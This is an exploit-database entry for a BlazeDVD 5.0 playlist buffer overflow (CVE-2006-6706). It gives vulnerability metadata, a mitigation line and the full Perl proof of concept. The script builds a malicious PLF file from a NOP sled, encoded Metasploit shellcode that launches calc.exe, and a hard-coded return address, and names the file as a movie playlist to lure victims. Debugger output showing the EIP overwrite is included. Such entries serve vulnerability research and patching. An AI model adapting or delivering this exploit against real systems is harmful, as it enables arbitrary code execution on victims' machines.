header-logo
Suggest Exploit
vendor:
BlazeDVD
by:
Parvez Anwar and Greg Linares
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: BlazeDVD
Affected Version From: 5
Affected Version To: 5
Patch Exists: Yes
Related CWE: CVE-2006-6706
CPE: a:blazevideo:blazedvd:5.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Microsoft Windows XP SP2 (English)
2006

BlazeDVD 5.0 PLF Playlist File Remote Buffer Overflow Exploit (PoC)

BlazeDVD 5.0 suffers from buffer overflow vulnerability that can be exploited via crafted PLF playlist file locally and remotely. It fails to perform boundary checking of the user input file, allowing the EIP to be overwritten, thus, controlling the next instruction of the software. After successful exploitation, calc.exe will be executed. Failed attempts will result in Denial Of Service (DoS).

Mitigation:

Upgrade to the latest version of BlazeDVD 5.0
Source

Exploit-DB raw data:

#!/usr/bin/perl
#
# Title: BlazeDVD 5.0 PLF Playlist File Remote Buffer Overflow Exploit (PoC)
#
# Summary: BlazeDVD is leading powerful and easy-to-use DVD player software.
# It can provide superior video and audio(Dolby) quality, together with other
# enhanced features:e.g. recording DVD,playback image and DV,bookmark and image
# capture.etc.Furthermore, besides DVD,Video CD,Audio CD, BlazeDVD supports DIVX,
# MPEG4, RM, QuickTime, WMV, WMV-HD, MacroMedia Flash and any other video file
# you have the codec installed for.The DVD player software can be extensive
# compatible with hardware,which is operated stable,smoothly under Windows98,
# 98SE, Me, 2000, XP, VISTA.
#
# Product web Page: http://www.blazevideo.com/dvd-player/index.htm
#
# Desc: BlazeDVD 5.0 suffers from buffer overflow vulnerability that can be
# exploited via crafted PLF playlist file localy and remotely. It fails to
# perform boundry checking of the user input file, allowing the EIP to be
# overwritten, thus, controling the next insctruction of the software. After
# succesfull exploitation, calc.exe will be executed. Failed attempts will
# result in Denial Of Service (DoS).
#
# WinDgb(output):
#
#  - (4d8.f80): Access violation - code c0000005 (first chance)
#  - First chance exceptions are reported before any exception handling.
#  - This exception may be expected and handled.
#  - eax=00000001 ebx=77f6c15c ecx=04bd0ba8 edx=00000042 esi=01beffc0 edi=6405565c
#  - eip=41414141 esp=0012f188 ebp=01befcf8 iopl=0         nv up ei pl nz ac pe nc
#  - cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
#  - 41414141 ??              ???
#
#
# Tested on Microsoft Windows XP SP2 (English)
#
# Vulnerability discovered by: Parvez Anwar and Greg Linares
#
# Refs:
#
# - http://secunia.com/advisories/23041/
# - http://www.frsirt.com/english/advisories/2006/4764
# - http://xforce.iss.net/xforce/xfdb/30567
# - http://osvdb.org/30770
# - https://www.securityfocus.com/bid/21337/
# - http://www.milw0rm.com/exploits/2880
#
# Exploit coded by Gjoko 'LiquidWorm' Krstic
#
# liquidworm@gmail.com
#
# http://www.zeroscience.org
#
# 08.08.2008
#

print "\n|==================================================================|\n";
print "|                                                                  |\n";
print "|    BlazeDVD 5.0 PLF Playlist File Remote Buffer Overflow Exploit |\n";
print "|              by LiquidWorm <liquidworm [at] gmail.com>           |\n";
print "|                                                                  |\n";
print "|==================================================================|\n\n";

$nop = "\x90" x 96;


# win32_exec EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com

$shellcode = "\x29\xc9\x83\xe9\xdd\xd9\xee".
	     "\xd9\x74\x24\xf4\x5b\x81\x73".
	     "\x13\x7d\xe6\xe7\x4e\x83\xeb".
	     "\xfc\xe2\xf4\x81\x0e\xa3\x4e".
	     "\x7d\xe6\x6c\x0b\x41\x6d\x9b".
	     "\x4b\x05\xe7\x08\xc5\x32\xfe".
	     "\x6c\x11\x5d\xe7\x0c\x07\xf6".
	     "\xd2\x6c\x4f\x93\xd7\x27\xd7".
	     "\xd1\x62\x27\x3a\x7a\x27\x2d".
	     "\x43\x7c\x24\x0c\xba\x46\xb2".
	     "\xc3\x4a\x08\x03\x6c\x11\x59".
	     "\xe7\x0c\x28\xf6\xea\xac\xc5".
	     "\x22\xfa\xe6\xa5\xf6\xfa\x6c".
	     "\x4f\x96\x6f\xbb\x6a\x79\x25".
	     "\xd6\x8e\x19\x6d\xa7\x7e\xf8".
	     "\x26\x9f\x42\xf6\xa6\xeb\xc5".
	     "\x0d\xfa\x4a\xc5\x15\xee\x0c".
	     "\x47\xf6\x66\x57\x4e\x7d\xe6".
	     "\x6c\x26\x41\xb9\xd6\xb8\x1d".
	     "\xb0\x6e\xb6\xfe\x26\x9c\x1e".
	     "\x15\x16\x6d\x4a\x22\x8e\x7f".
	     "\xb0\xf7\xe8\xb0\xb1\x9a\x85".
	     "\x86\x22\x1e\xc8\x82\x36\x18".
	     "\xe6\xe7\x4e";


$ret = "\x78\x53\xbe\x01";

$payload = $nop.$shellcode.$ret;

open(plf, ">./The_Dark_Knight.plf");

print plf "$payload";

print "\n--> Playlist: The_Dark_Knight.plf succesfully created...Enjoy!\n\n";

print "\n...t00t w00t!\n\a\n";


# August, 2008

# milw0rm.com [2008-08-10]